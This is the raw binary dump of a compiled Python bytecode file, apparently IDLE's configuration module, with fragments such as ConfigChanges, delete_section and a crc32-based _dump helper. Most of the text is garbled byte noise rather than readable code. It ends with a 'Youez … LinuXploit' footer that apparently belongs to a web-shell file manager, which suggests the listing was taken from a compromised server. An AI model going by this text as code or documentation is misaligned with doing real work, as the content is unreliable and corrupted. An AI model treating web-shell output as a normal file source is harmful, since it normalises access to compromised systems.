�delete_section�ConfigChanges.delete_section�sB��
�;�'�'��!�'�*��%�%�k�2�
��!�!�'�*����rc�P�UOFDoUO2J	P!)z~Clear all 4 pages.

Called in save_all after saving to idleConf.
XXX Mark window *title* when there are changes; unmark here.
)r\rj)rrcs& r
rj�ConfigChanges.clear�s���J�J�D��J�J�L�r)r\)rrr	r
rArrdrSrgrmrqrjrrBrCs@r
rYrY3s>�����$1�$��
M��
M��<	��rrYc�````�]QHGn]]tnnUUU1QknU1QkoU[O2U[O2[QRQRPQ5P!)�)�crc32c�z:�[U2oR]*
nRUOQQ5R2n[U2P!)�r3r`)ra�encoder�)�obj�txt�crcrw�lines& ���r
�sprint�_dump.<locals>.sprint�s3����#�h����	���C�J�J��J�0�#�6��
�c�
rc
�b:�[QUQ2[U2FD�oV*O2oRU2RU2SFD_oV*OU2oRU2RU2SFD.oRUQ*V*O	V52*2J0	Ja	J�	P!)�
z = )r��sortedrUr.r*)rrr2rUr&r.r'rs&     �r
�dumpCfg�_dump.<locals>.dumpCfg�s����
�d�C����#�;�C��x�(�(�*�H��3�K��8��#���(�*�*�7�3���w���w��%�F��6�E�>�C�H�L�L��,I�I�J�&�	$�	rz	
lines = z, crc = )�sep)�zlibrwr]rprqr�)r�r}rwr~rs @@@@r
�_dumpr��sJ�����1�I�D�#��K��H��� ��H����	�,��j�#�2�6r�__main__)rkzidlelib.idle_test.test_config)�	verbosity�exit)rA�configparserrr7r��tkinter.fontrrz�	ExceptionrrrrrFrir]rHrUr��dictrYr�r�unittestrkrrr
�<module>r�s����6&�	�
���(�	�(�'�y�'�#�9�#�'"�\�'"�R@%��@%�DQ
%�Q
%�h�:��

�%���_�D�_�F7�<�z����	(�A�E�B�	�G�	r

Youez - 2016 - github.com/yon3zu
LinuXploit